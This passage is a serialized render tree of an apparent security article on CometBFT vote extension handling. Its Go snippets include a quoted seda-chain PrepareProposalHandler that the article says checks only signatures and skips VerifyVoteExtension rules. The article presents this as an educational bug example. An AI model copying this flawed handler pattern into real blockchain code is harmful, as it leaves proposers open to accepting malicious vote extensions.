...\n}\n",[80803],{"type":19,"tag":27,"props":80804,"children":80805},{"__ignoreMap":7},[80806,80918,80925,80932,80940,80948,81032,81039,81047,81101,81108,81129,81136,81208,81224,81231,81305,81361,81368,81430,81437,81444,81463,81470,81477,81484],{"type":19,"tag":168,"props":80807,"children":80808},{"class":170,"line":171},[80809,80813,80817,80822,80826,80831,80835,80840,80844,80849,80853,80857,80861,80866,80870,80875,80880,80884,80889,80893,80898,80902,80906,80910,80914],{"type":19,"tag":168,"props":80810,"children":80811},{"style":382},[80812],{"type":24,"value":73789},{"type":19,"tag":168,"props":80814,"children":80815},{"style":212},[80816],{"type":24,"value":461},{"type":19,"tag":168,"props":80818,"children":80819},{"style":393},[80820],{"type":24,"value":80821},"cs ",{"type":19,"tag":168,"props":80823,"children":80824},{"style":399},[80825],{"type":24,"value":2002},{"type":19,"tag":168,"props":80827,"children":80828},{"style":825},[80829],{"type":24,"value":80830},"State",{"type":19,"tag":168,"props":80832,"children":80833},{"style":212},[80834],{"type":24,"value":481},{"type":19,"tag":168,"props":80836,"children":80837},{"style":175},[80838],{"type":24,"value":80839},"addVote",{"type":19,"tag":168,"props":80841,"children":80842},{"style":212},[80843],{"type":24,"value":500},{"type":19,"tag":168,"props":80845,"children":80846},{"style":393},[80847],{"type":24,"value":80848},"vote",{"type":19,"tag":168,"props":80850,"children":80851},{"style":399},[80852],{"type":24,"value":7259},{"type":19,"tag":168,"props":80854,"children":80855},{"style":825},[80856],{"type":24,"value":3192},{"type":19,"tag":168,"props":80858,"children":80859},{"style":212},[80860],{"type":24,"value":948},{"type":19,"tag":168,"props":80862,"children":80863},{"style":825},[80864],{"type":24,"value":80865},"Vote",{"type":19,"tag":168,"props":80867,"children":80868},{"style":212},[80869],{"type":24,"value":471},{"type":19,"tag":168,"props":80871,"children":80872},{"style":393},[80873],{"type":24,"value":80874},"peerID",{"type":19,"tag":168,"props":80876,"children":80877},{"style":825},[80878],{"type":24,"value":80879}," p2p",{"type":19,"tag":168,"props":80881,"children":80882},{"style":212},[80883],{"type":24,"value":948},{"type":19,"tag":168,"props":80885,"children":80886},{"style":825},[80887],{"type":24,"value":80888},"ID",{"type":19,"tag":168,"props":80890,"children":80891},{"style":212},[80892],{"type":24,"value":73871},{"type":19,"tag":168,"props":80894,"children":80895},{"style":393},[80896],{"type":24,"value":80897},"added",{"type":19,"tag":168,"props":80899,"children":80900},{"style":825},[80901],{"type":24,"value":9495},{"type":19,"tag":168,"props":80903,"children":80904},{"style":212},[80905],{"type":24,"value":471},{"type":19,"tag":168,"props":80907,"children":80908},{"style":393},[80909],{"type":24,"value":45902},{"type":19,"tag":168,"props":80911,"children":80912},{"style":825},[80913],{"type":24,"value":12323},{"type":19,"tag":168,"props":80915,"children":80916},{"style":212},[80917],{"type":24,"value":12250},{"type":19,"tag":168,"props":80919,"children":80920},{"class":170,"line":198},[80921],{"type":19,"tag":168,"props":80922,"children":80923},{"style":399},[80924],{"type":24,"value":17794},{"type":19,"tag":168,"props":80926,"children":80927},{"class":170,"line":415},[80928],{"type":19,"tag":168,"props":80929,"children":80930},{"emptyLinePlaceholder":14},[80931],{"type":24,"value":1093},{"type":19,"tag":168,"props":80933,"children":80934},{"class":170,"line":450},[80935],{"type":19,"tag":168,"props":80936,"children":80937},{"style":373},[80938],{"type":24,"value":80939}," // A precommit for the previous height?\n",{"type":19,"tag":168,"props":80941,"children":80942},{"class":170,"line":560},[80943],{"type":19,"tag":168,"props":80944,"children":80945},{"style":373},[80946],{"type":24,"value":80947}," // These come in while we wait timeoutCommit\n",{"type":19,"tag":168,"props":80949,"children":80950},{"class":170,"line":666},[80951,80955,80960,80964,80969,80973,80977,80981,80986,80990,80994,80998,81002,81006,81011,81015,81019,81023,81028],{"type":19,"tag":168,"props":80952,"children":80953},{"style":419},[80954],{"type":24,"value":9724},{"type":19,"tag":168,"props":80956,"children":80957},{"style":393},[80958],{"type":24,"value":80959}," vote",{"type":19,"tag":168,"props":80961,"children":80962},{"style":212},[80963],{"type":24,"value":948},{"type":19,"tag":168,"props":80965,"children":80966},{"style":393},[80967],{"type":24,"value":80968},"Height",{"type":19,"tag":168,"props":80970,"children":80971},{"style":399},[80972],{"type":24,"value":1811},{"type":19,"tag":168,"props":80974,"children":80975},{"style":192},[80976],{"type":24,"value":1442},{"type":19,"tag":168,"props":80978,"children":80979},{"style":399},[80980],{"type":24,"value":682},{"type":19,"tag":168,"props":80982,"children":80983},{"style":393},[80984],{"type":24,"value":80985}," cs",{"type":19,"tag":168,"props":80987,"children":80988},{"style":212},[80989],{"type":24,"value":948},{"type":19,"tag":168,"props":80991,"children":80992},{"style":393},[80993],{"type":24,"value":80968},{"type":19,"tag":168,"props":80995,"children":80996},{"style":399},[80997],{"type":24,"value":11631},{"type":19,"tag":168,"props":80999,"children":81000},{"style":393},[81001],{"type":24,"value":80959},{"type":19,"tag":168,"props":81003,"children":81004},{"style":212},[81005],{"type":24,"value":948},{"type":19,"tag":168,"props":81007,"children":81008},{"style":393},[81009],{"type":24,"value":81010},"Type",{"type":19,"tag":168,"props":81012,"children":81013},{"style":399},[81014],{"type":24,"value":682},{"type":19,"tag":168,"props":81016,"children":81017},{"style":393},[81018],{"type":24,"value":75664},{"type":19,"tag":168,"props":81020,"children":81021},{"style":212},[81022],{"type":24,"value":948},{"type":19,"tag":168,"props":81024,"children":81025},{"style":393},[81026],{"type":24,"value":81027},"PrecommitType",{"type":19,"tag":168,"props":81029,"children":81030},{"style":212},[81031],{"type":24,"value":691},{"type":19,"tag":168,"props":81033,"children":81034},{"class":170,"line":694},[81035],{"type":19,"tag":168,"props":81036,"children":81037},{"style":399},[81038],{"type":24,"value":79331},{"type":19,"tag":168,"props":81040,"children":81041},{"class":170,"line":707},[81042],{"type":19,"tag":168,"props":81043,"children":81044},{"style":373},[81045],{"type":24,"value":81046}," // Late precommits are not checked by VerifyVoteExtension\n",{"type":19,"tag":168,"props":81048,"children":81049},{"class":170,"line":725},[81050,81055,81059,81063,81067,81071,81075,81080,81084,81089,81093,81097],{"type":19,"tag":168,"props":81051,"children":81052},{"style":393},[81053],{"type":24,"value":81054}," added",{"type":19,"tag":168,"props":81056,"children":81057},{"style":212},[81058],{"type":24,"value":471},{"type":19,"tag":168,"props":81060,"children":81061},{"style":393},[81062],{"type":24,"value":45902},{"type":19,"tag":168,"props":81064,"children":81065},{"style":399},[81066],{"type":24,"value":402},{"type":19,"tag":168,"props":81068,"children":81069},{"style":393},[81070],{"type":24,"value":80985},{"type":19,"tag":168,"props":81072,"children":81073},{"style":212},[81074],{"type":24,"value":948},{"type":19,"tag":168,"props":81076,"children":81077},{"style":393},[81078],{"type":24,"value":81079},"LastCommit",{"type":19,"tag":168,"props":81081,"children":81082},{"style":212},[81083],{"type":24,"value":948},{"type":19,"tag":168,"props":81085,"children":81086},{"style":175},[81087],{"type":24,"value":81088},"AddVote",{"type":19,"tag":168,"props":81090,"children":81091},{"style":212},[81092],{"type":24,"value":500},{"type":19,"tag":168,"props":81094,"children":81095},{"style":393},[81096],{"type":24,"value":80848},{"type":19,"tag":168,"props":81098,"children":81099},{"style":212},[81100],{"type":24,"value":557},{"type":19,"tag":168,"props":81102,"children":81103},{"class":170,"line":746},[81104],{"type":19,"tag":168,"props":81105,"children":81106},{"style":399},[81107],{"type":24,"value":79331},{"type":19,"tag":168,"props":81109,"children":81110},{"class":170,"line":755},[81111,81115,81120,81124],{"type":19,"tag":168,"props":81112,"children":81113},{"style":419},[81114],{"type":24,"value":13192},{"type":19,"tag":168,"props":81116,"children":81117},{"style":393},[81118],{"type":24,"value":81119}," added",{"type":19,"tag":168,"props":81121,"children":81122},{"style":212},[81123],{"type":24,"value":471},{"type":19,"tag":168,"props":81125,"children":81126},{"style":393},[81127],{"type":24,"value":81128},"err\n",{"type":19,"tag":168,"props":81130,"children":81131},{"class":170,"line":1008},[81132],{"type":19,"tag":168,"props":81133,"children":81134},{"style":212},[81135],{"type":24,"value":761},{"type":19,"tag":168,"props":81137,"children":81138},{"class":170,"line":1025},[81139,81144,81148,81152,81156,81161,81165,81170,81174,81179,81183,81188,81192,81196,81200,81204],{"type":19,"tag":168,"props":81140,"children":81141},{"style":393},[81142],{"type":24,"value":81143}," extEnabled",{"type":19,"tag":168,"props":81145,"children":81146},{"style":399},[81147],{"type":24,"value":73905},{"type":19,"tag":168,"props":81149,"children":81150},{"style":393},[81151],{"type":24,"value":80985},{"type":19,"tag":168,"props":81153,"children":81154},{"style":212},[81155],{"type":24,"value":948},{"type":19,"tag":168,"props":81157,"children":81158},{"style":393},[81159],{"type":24,"value":81160},"state",{"type":19,"tag":168,"props":81162,"children":81163},{"style":212},[81164],{"type":24,"value":948},{"type":19,"tag":168,"props":81166,"children":81167},{"style":393},[81168],{"type":24,"value":81169},"ConsensusParams",{"type":19,"tag":168,"props":81171,"children":81172},{"style":212},[81173],{"type":24,"value":948},{"type":19,"tag":168,"props":81175,"children":81176},{"style":393},[81177],{"type":24,"value":81178},"Feature",{"type":19,"tag":168,"props":81180,"children":81181},{"style":212},[81182],{"type":24,"value":948},{"type":19,"tag":168,"props":81184,"children":81185},{"style":175},[81186],{"type":24,"value":81187},"VoteExtensionsEnabled",{"type":19,"tag":168,"props":81189,"children":81190},{"style":212},[81191],{"type":24,"value":500},{"type":19,"tag":168,"props":81193,"children":81194},{"style":393},[81195],{"type":24,"value":80848},{"type":19,"tag":168,"props":81197,"children":81198},{"style":212},[81199],{"type":24,"value":948},{"type":19,"tag":168,"props":81201,"children":81202},{"style":393},[81203],{"type":24,"value":80968},{"type":19,"tag":168,"props":81205,"children":81206},{"style":212},[81207],{"type":24,"value":557},{"type":19,"tag":168,"props":81209,"children":81210},{"class":170,"line":1042},[81211,81215,81220],{"type":19,"tag":168,"props":81212,"children":81213},{"style":419},[81214],{"type":24,"value":9724},{"type":19,"tag":168,"props":81216,"children":81217},{"style":393},[81218],{"type":24,"value":81219}," extEnabled",{"type":19,"tag":168,"props":81221,"children":81222},{"style":212},[81223],{"type":24,"value":691},{"type":19,"tag":168,"props":81225,"children":81226},{"class":170,"line":1055},[81227],{"type":19,"tag":168,"props":81228,"children":81229},{"style":399},[81230],{"type":24,"value":79331},{"type":19,"tag":168,"props":81232,"children":81233},{"class":170,"line":1064},[81234,81238,81242,81246,81250,81254,81258,81262,81266,81270,81274,81278,81282,81287,81291,81296,81300],{"type":19,"tag":168,"props":81235,"children":81236},{"style":419},[81237],{"type":24,"value":672},{"type":19,"tag":168,"props":81239,"children":81240},{"style":393},[81241],{"type":24,"value":80959},{"type":19,"tag":168,"props":81243,"children":81244},{"style":212},[81245],{"type":24,"value":948},{"type":19,"tag":168,"props":81247,"children":81248},{"style":393},[81249],{"type":24,"value":81010},{"type":19,"tag":168,"props":81251,"children":81252},{"style":399},[81253],{"type":24,"value":682},{"type":19,"tag":168,"props":81255,"children":81256},{"style":393},[81257],{"type":24,"value":75664},{"type":19,"tag":168,"props":81259,"children":81260},{"style":212},[81261],{"type":24,"value":948},{"type":19,"tag":168,"props":81263,"children":81264},{"style":393},[81265],{"type":24,"value":81027},{"type":19,"tag":168,"props":81267,"children":81268},{"style":399},[81269],{"type":24,"value":11631},{"type":19,"tag":168,"props":81271,"children":81272},{"style":399},[81273],{"type":24,"value":10309},{"type":19,"tag":168,"props":81275,"children":81276},{"style":393},[81277],{"type":24,"value":80848},{"type":19,"tag":168,"props":81279,"children":81280},{"style":212},[81281],{"type":24,"value":948},{"type":19,"tag":168,"props":81283,"children":81284},{"style":393},[81285],{"type":24,"value":81286},"BlockID",{"type":19,"tag":168,"props":81288,"children":81289},{"style":212},[81290],{"type":24,"value":948},{"type":19,"tag":168,"props":81292,"children":81293},{"style":175},[81294],{"type":24,"value":81295},"IsNil",{"type":19,"tag":168,"props":81297,"children":81298},{"style":212},[81299],{"type":24,"value":11489},{"type":19,"tag":168,"props":81301,"children":81302},{"style":399},[81303],{"type":24,"value":81304},"&&\n",{"type":19,"tag":168,"props":81306,"children":81307},{"class":170,"line":1087},[81308,81313,81318,81322,81326,81330,81334,81338,81343,81347,81352,81356],{"type":19,"tag":168,"props":81309,"children":81310},{"style":399},[81311],{"type":24,"value":81312}," !",{"type":19,"tag":168,"props":81314,"children":81315},{"style":393},[81316],{"type":24,"value":81317},"bytes",{"type":19,"tag":168,"props":81319,"children":81320},{"style":212},[81321],{"type":24,"value":948},{"type":19,"tag":168,"props":81323,"children":81324},{"style":175},[81325],{"type":24,"value":79787},{"type":19,"tag":168,"props":81327,"children":81328},{"style":212},[81329],{"type":24,"value":500},{"type":19,"tag":168,"props":81331,"children":81332},{"style":393},[81333],{"type":24,"value":80848},{"type":19,"tag":168,"props":81335,"children":81336},{"style":212},[81337],{"type":24,"value":948},{"type":19,"tag":168,"props":81339,"children":81340},{"style":393},[81341],{"type":24,"value":81342},"ValidatorAddress",{"type":19,"tag":168,"props":81344,"children":81345},{"style":212},[81346],{"type":24,"value":471},{"type":19,"tag":168,"props":81348,"children":81349},{"style":393},[81350],{"type":24,"value":81351},"myAddr",{"type":19,"tag":168,"props":81353,"children":81354},{"style":212},[81355],{"type":24,"value":21456},{"type":19,"tag":168,"props":81357,"children":81358},{"style":373},[81359],{"type":24,"value":81360},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":19,"tag":168,"props":81362,"children":81363},{"class":170,"line":1096},[81364],{"type":19,"tag":168,"props":81365,"children":81366},{"style":399},[81367],{"type":24,"value":80007},{"type":19,"tag":168,"props":81369,"children":81370},{"class":170,"line":1105},[81371,81375,81379,81383,81387,81392,81396,81400,81404,81409,81413,81418,81422,81426],{"type":19,"tag":168,"props":81372,"children":81373},{"style":393},[81374],{"type":24,"value":79825},{"type":19,"tag":168,"props":81376,"children":81377},{"style":399},[81378],{"type":24,"value":73905},{"type":19,"tag":168,"props":81380,"children":81381},{"style":393},[81382],{"type":24,"value":80985},{"type":19,"tag":168,"props":81384,"children":81385},{"style":212},[81386],{"type":24,"value":948},{"type":19,"tag":168,"props":81388,"children":81389},{"style":393},[81390],{"type":24,"value":81391},"blockExec",{"type":19,"tag":168,"props":81393,"children":81394},{"style":212},[81395],{"type":24,"value":948},{"type":19,"tag":168,"props":81397,"children":81398},{"style":175},[81399],{"type":24,"value":80653},{"type":19,"tag":168,"props":81401,"children":81402},{"style":212},[81403],{"type":24,"value":500},{"type":19,"tag":168,"props":81405,"children":81406},{"style":393},[81407],{"type":24,"value":81408},"context",{"type":19,"tag":168,"props":81410,"children":81411},{"style":212},[81412],{"type":24,"value":948},{"type":19,"tag":168,"props":81414,"children":81415},{"style":175},[81416],{"type":24,"value":81417},"TODO",{"type":19,"tag":168,"props":81419,"children":81420},{"style":212},[81421],{"type":24,"value":15826},{"type":19,"tag":168,"props":81423,"children":81424},{"style":393},[81425],{"type":24,"value":80848},{"type":19,"tag":168,"props":81427,"children":81428},{"style":212},[81429],{"type":24,"value":557},{"type":19,"tag":168,"props":81431,"children":81432},{"class":170,"line":1174},[81433],{"type":19,"tag":168,"props":81434,"children":81435},{"style":399},[81436],{"type":24,"value":80007},{"type":19,"tag":168,"props":81438,"children":81439},{"class":170,"line":1182},[81440],{"type":19,"tag":168,"props":81441,"children":81442},{"style":212},[81443],{"type":24,"value":752},{"type":19,"tag":168,"props":81445,"children":81446},{"class":170,"line":1212},[81447,81451,81455,81459],{"type":19,"tag":168,"props":81448,"children":81449},{"style":212},[81450],{"type":24,"value":13227},{"type":19,"tag":168,"props":81452,"children":81453},{"style":419},[81454],{"type":24,"value":718},{"type":19,"tag":168,"props":81456,"children":81457},{"style":419},[81458],{"type":24,"value":13236},{"type":19,"tag":168,"props":81460,"children":81461},{"style":212},[81462],{"type":24,"value":691},{"type":19,"tag":168,"props":81464,"children":81465},{"class":170,"line":1220},[81466],{"type":19,"tag":168,"props":81467,"children":81468},{"style":399},[81469],{"type":24,"value":79331},{"type":19,"tag":168,"props":81471,"children":81472},{"class":170,"line":1252},[81473],{"type":19,"tag":168,"props":81474,"children":81475},{"style":212},[81476],{"type":24,"value":761},{"type":19,"tag":168,"props":81478,"children":81479},{"class":170,"line":1260},[81480],{"type":19,"tag":168,"props":81481,"children":81482},{"style":399},[81483],{"type":24,"value":17794},{"type":19,"tag":168,"props":81485,"children":81486},{"class":170,"line":1320},[81487],{"type":19,"tag":168,"props":81488,"children":81489},{"style":212},[81490],{"type":24,"value":1326},{"type":19,"tag":20,"props":81492,"children":81493},{},[81494],{"type":24,"value":81495},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":19,"tag":7050,"props":81497,"children":81499},{"id":81498},"real-world-examples-4",[81500],{"type":24,"value":74178},{"type":19,"tag":20,"props":81502,"children":81503},{},[81504,81506,81511,81513,81519,81521,81527],{"type":24,"value":81505},"An example of the bug we just described is shown here. ",{"type":19,"tag":27,"props":81507,"children":81509},{"className":81508},[],[81510],{"type":24,"value":80632},{"type":24,"value":81512}," only checks that each vote is properly signed by a validator in ",{"type":19,"tag":27,"props":81514,"children":81516},{"className":81515},[],[81517],{"type":24,"value":81518},"ValidateVoteExtension",{"type":24,"value":81520}," but does not verify it against the rules in ",{"type":19,"tag":27,"props":81522,"children":81524},{"className":81523},[],[81525],{"type":24,"value":81526},"VerifyVoteExtention.",{"type":24,"value":81528}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":19,"tag":20,"props":81530,"children":81531},{},[81532],{"type":19,"tag":269,"props":81533,"children":81536},{"href":81534,"rel":81535},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[273],[81537],{"type":24,"value":74228},{"type":19,"tag":158,"props":81539,"children":81541},{"code":81540,"language":73653,"meta":7,"className":73654,"style":7},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n ...\n var injection []byte\n if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n //Fails to verify vote extensions with VerifyVoteExtension rules\n err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n if err != nil {\n return nil, err\n }\n injection, err = json.Marshal(req.LocalLastCommit)\n if err != nil {\n h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n return nil, err\n }\n ...\n }\n defaultRes, err := h.defaultPrepareProposal(ctx, req)\n ...\n proposalTxs := defaultRes.Txs\n if injection != nil {\n proposalTxs = append([][]byte{injection}, proposalTxs...)\n h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n }\n return &abcitypes.ResponsePrepareProposal{\n Txs: proposalTxs,\n }, nil\n }\n}\n",[81542],{"type":19,"tag":27,"props":81543,"children":81544},{"__ignoreMap":7},[81545,81599,81690,81697,81718,81785,81793,81898,81921,81940,81947,82001,82024,82079,82098,82105,82112,82119,82173,82180,82206,82229,82281,82343,82350,82377,82397,82409,82416],{"type":19,"tag":168,"props":81546,"children":81547},{"class":170,"line":171},[81548,81552,81556,81561,81565,81570,81574,81579,81583,81587,81591,81595],{"type":19,"tag":168,"props":81549,"children":81550},{"style":382},[81551],{"type":24,"value":73789},{"type":19,"tag":168,"props":81553,"children":81554},{"style":212},[81555],{"type":24,"value":461},{"type":19,"tag":168,"props":81557,"children":81558},{"style":393},[81559],{"type":24,"value":81560},"h ",{"type":19,"tag":168,"props":81562,"children":81563},{"style":399},[81564],{"type":24,"value":2002},{"type":19,"tag":168,"props":81566,"children":81567},{"style":825},[81568],{"type":24,"value":81569},"Handlers",{"type":19,"tag":168,"props":81571,"children":81572},{"style":212},[81573],{"type":24,"value":481},{"type":19,"tag":168,"props":81575,"children":81576},{"style":175},[81577],{"type":24,"value":81578},"PrepareProposalHandler",{"type":19,"tag":168,"props":81580,"children":81581},{"style":212},[81582],{"type":24,"value":11489},{"type":19,"tag":168,"props":81584,"children":81585},{"style":825},[81586],{"type":24,"value":76219},{"type":19,"tag":168,"props":81588,"children":81589},{"style":212},[81590],{"type":24,"value":948},{"type":19,"tag":168,"props":81592,"children":81593},{"style":825},[81594],{"type":24,"value":81578},{"type":19,"tag":168,"props":81596,"children":81597},{"style":212},[81598],{"type":24,"value":691},{"type":19,"tag":168,"props":81600,"children":81601},{"class":170,"line":198},[81602,81606,81610,81614,81618,81622,81626,81630,81634,81639,81643,81648,81652,81657,81661,81665,81669,81673,81678,81682,81686],{"type":19,"tag":168,"props":81603,"children":81604},{"style":419},[81605],{"type":24,"value":14438},{"type":19,"tag":168,"props":81607,"children":81608},{"style":382},[81609],{"type":24,"value":77498},{"type":19,"tag":168,"props":81611,"children":81612},{"style":212},[81613],{"type":24,"value":500},{"type":19,"tag":168,"props":81615,"children":81616},{"style":393},[81617],{"type":24,"value":17735},{"type":19,"tag":168,"props":81619,"children":81620},{"style":825},[81621],{"type":24,"value":76130},{"type":19,"tag":168,"props":81623,"children":81624},{"style":212},[81625],{"type":24,"value":948},{"type":19,"tag":168,"props":81627,"children":81628},{"style":825},[81629],{"type":24,"value":73838},{"type":19,"tag":168,"props":81631,"children":81632},{"style":212},[81633],{"type":24,"value":471},{"type":19,"tag":168,"props":81635,"children":81636},{"style":393},[81637],{"type":24,"value":81638},"req",{"type":19,"tag":168,"props":81640,"children":81641},{"style":399},[81642],{"type":24,"value":7259},{"type":19,"tag":168,"props":81644,"children":81645},{"style":825},[81646],{"type":24,"value":81647},"abcitypes",{"type":19,"tag":168,"props":81649,"children":81650},{"style":212},[81651],{"type":24,"value":948},{"type":19,"tag":168,"props":81653,"children":81654},{"style":825},[81655],{"type":24,"value":81656},"RequestPrepareProposal",{"type":19,"tag":168,"props":81658,"children":81659},{"style":212},[81660],{"type":24,"value":73871},{"type":19,"tag":168,"props":81662,"children":81663},{"style":399},[81664],{"type":24,"value":2002},{"type":19,"tag":168,"props":81666,"children":81667},{"style":825},[81668],{"type":24,"value":81647},{"type":19,"tag":168,"props":81670,"children":81671},{"style":212},[81672],{"type":24,"value":948},{"type":19,"tag":168,"props":81674,"children":81675},{"style":825},[81676],{"type":24,"value":81677},"ResponsePrepareProposal",{"type":19,"tag":168,"props":81679,"children":81680},{"style":212},[81681],{"type":24,"value":471},{"type":19,"tag":168,"props":81683,"children":81684},{"style":825},[81685],{"type":24,"value":12310},{"type":19,"tag":168,"props":81687,"children":81688},{"style":212},[81689],{"type":24,"value":12250},{"type":19,"tag":168,"props":81691,"children":81692},{"class":170,"line":415},[81693],{"type":19,"tag":168,"props":81694,"children":81695},{"style":399},[81696],{"type":24,"value":79331},{"type":19,"tag":168,"props":81698,"children":81699},{"class":170,"line":450},[81700,81704,81709,81713],{"type":19,"tag":168,"props":81701,"children":81702},{"style":382},[81703],{"type":24,"value":77607},{"type":19,"tag":168,"props":81705,"children":81706},{"style":393},[81707],{"type":24,"value":81708}," injection",{"type":19,"tag":168,"props":81710,"children":81711},{"style":212},[81712],{"type":24,"value":73716},{"type":19,"tag":168,"props":81714,"children":81715},{"style":825},[81716],{"type":24,"value":81717},"byte\n",{"type":19,"tag":168,"props":81719,"children":81720},{"class":170,"line":560},[81721,81725,81730,81734,81738,81742,81746,81750,81754,81758,81763,81767,81772,81776,81781],{"type":19,"tag":168,"props":81722,"children":81723},{"style":419},[81724],{"type":24,"value":672},{"type":19,"tag":168,"props":81726,"children":81727},{"style":393},[81728],{"type":24,"value":81729}," req",{"type":19,"tag":168,"props":81731,"children":81732},{"style":212},[81733],{"type":24,"value":948},{"type":19,"tag":168,"props":81735,"children":81736},{"style":393},[81737],{"type":24,"value":80968},{"type":19,"tag":168,"props":81739,"children":81740},{"style":399},[81741],{"type":24,"value":11640},{"type":19,"tag":168,"props":81743,"children":81744},{"style":393},[81745],{"type":24,"value":23311},{"type":19,"tag":168,"props":81747,"children":81748},{"style":212},[81749],{"type":24,"value":948},{"type":19,"tag":168,"props":81751,"children":81752},{"style":175},[81753],{"type":24,"value":81169},{"type":19,"tag":168,"props":81755,"children":81756},{"style":212},[81757],{"type":24,"value":27639},{"type":19,"tag":168,"props":81759,"children":81760},{"style":393},[81761],{"type":24,"value":81762},"Abci",{"type":19,"tag":168,"props":81764,"children":81765},{"style":212},[81766],{"type":24,"value":948},{"type":19,"tag":168,"props":81768,"children":81769},{"style":393},[81770],{"type":24,"value":81771},"VoteExtensionsEnableHeight",{"type":19,"tag":168,"props":81773,"children":81774},{"style":399},[81775],{"type":24,"value":11631},{"type":19,"tag":168,"props":81777,"children":81778},{"style":393},[81779],{"type":24,"value":81780}," collectSigs",{"type":19,"tag":168,"props":81782,"children":81783},{"style":212},[81784],{"type":24,"value":691},{"type":19,"tag":168,"props":81786,"children":81787},{"class":170,"line":666},[81788],{"type":19,"tag":168,"props":81789,"children":81790},{"style":373},[81791],{"type":24,"value":81792}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":19,"tag":168,"props":81794,"children":81795},{"class":170,"line":694},[81796,81800,81804,81809,81813,81818,81822,81826,81830,81835,81839,81844,81848,81852,81856,81860,81864,81868,81872,81877,81881,81885,81889,81894],{"type":19,"tag":168,"props":81797,"children":81798},{"style":393},[81799],{"type":24,"value":79825},{"type":19,"tag":168,"props":81801,"children":81802},{"style":399},[81803],{"type":24,"value":73905},{"type":19,"tag":168,"props":81805,"children":81806},{"style":393},[81807],{"type":24,"value":81808}," baseapp",{"type":19,"tag":168,"props":81810,"children":81811},{"style":212},[81812],{"type":24,"value":948},{"type":19,"tag":168,"props":81814,"children":81815},{"style":175},[81816],{"type":24,"value":81817},"ValidateVoteExtensions",{"type":19,"tag":168,"props":81819,"children":81820},{"style":212},[81821],{"type":24,"value":500},{"type":19,"tag":168,"props":81823,"children":81824},{"style":393},[81825],{"type":24,"value":17735},{"type":19,"tag":168,"props":81827,"children":81828},{"style":212},[81829],{"type":24,"value":471},{"type":19,"tag":168,"props":81831,"children":81832},{"style":393},[81833],{"type":24,"value":81834},"h",{"type":19,"tag":168,"props":81836,"children":81837},{"style":212},[81838],{"type":24,"value":948},{"type":19,"tag":168,"props":81840,"children":81841},{"style":393},[81842],{"type":24,"value":81843},"stakingKeeper",{"type":19,"tag":168,"props":81845,"children":81846},{"style":212},[81847],{"type":24,"value":471},{"type":19,"tag":168,"props":81849,"children":81850},{"style":393},[81851],{"type":24,"value":81638},{"type":19,"tag":168,"props":81853,"children":81854},{"style":212},[81855],{"type":24,"value":948},{"type":19,"tag":168,"props":81857,"children":81858},{"style":393},[81859],{"type":24,"value":80968},{"type":19,"tag":168,"props":81861,"children":81862},{"style":212},[81863],{"type":24,"value":471},{"type":19,"tag":168,"props":81865,"children":81866},{"style":393},[81867],{"type":24,"value":17735},{"type":19,"tag":168,"props":81869,"children":81870},{"style":212},[81871],{"type":24,"value":948},{"type":19,"tag":168,"props":81873,"children":81874},{"style":175},[81875],{"type":24,"value":81876},"ChainID",{"type":19,"tag":168,"props":81878,"children":81879},{"style":212},[81880],{"type":24,"value":15826},{"type":19,"tag":168,"props":81882,"children":81883},{"style":393},[81884],{"type":24,"value":81638},{"type":19,"tag":168,"props":81886,"children":81887},{"style":212},[81888],{"type":24,"value":948},{"type":19,"tag":168,"props":81890,"children":81891},{"style":393},[81892],{"type":24,"value":81893},"LocalLastCommit",{"type":19,"tag":168,"props":81895,"children":81896},{"style":212},[81897],{"type":24,"value":557},{"type":19,"tag":168,"props":81899,"children":81900},{"class":170,"line":707},[81901,81905,81909,81913,81917],{"type":19,"tag":168,"props":81902,"children":81903},{"style":419},[81904],{"type":24,"value":56285},{"type":19,"tag":168,"props":81906,"children":81907},{"style":393},[81908],{"type":24,"value":46003},{"type":19,"tag":168,"props":81910,"children":81911},{"style":399},[81912],{"type":24,"value":61872},{"type":19,"tag":168,"props":81914,"children":81915},{"style":382},[81916],{"type":24,"value":79407},{"type":19,"tag":168,"props":81918,"children":81919},{"style":212},[81920],{"type":24,"value":691},{"type":19,"tag":168,"props":81922,"children":81923},{"class":170,"line":725},[81924,81928,81932,81936],{"type":19,"tag":168,"props":81925,"children":81926},{"style":419},[81927],{"type":24,"value":58213},{"type":19,"tag":168,"props":81929,"children":81930},{"style":382},[81931],{"type":24,"value":79407},{"type":19,"tag":168,"props":81933,"children":81934},{"style":212},[81935],{"type":24,"value":471},{"type":19,"tag":168,"props":81937,"children":81938},{"style":393},[81939],{"type":24,"value":81128},{"type":19,"tag":168,"props":81941,"children":81942},{"class":170,"line":746},[81943],{"type":19,"tag":168,"props":81944,"children":81945},{"style":212},[81946],{"type":24,"value":56369},{"type":19,"tag":168,"props":81948,"children":81949},{"class":170,"line":755},[81950,81955,81959,81963,81967,81972,81976,81981,81985,81989,81993,81997],{"type":19,"tag":168,"props":81951,"children":81952},{"style":393},[81953],{"type":24,"value":81954}," injection",{"type":19,"tag":168,"props":81956,"children":81957},{"style":212},[81958],{"type":24,"value":471},{"type":19,"tag":168,"props":81960,"children":81961},{"style":393},[81962],{"type":24,"value":45902},{"type":19,"tag":168,"props":81964,"children":81965},{"style":399},[81966],{"type":24,"value":402},{"type":19,"tag":168,"props":81968,"children":81969},{"style":393},[81970],{"type":24,"value":81971}," 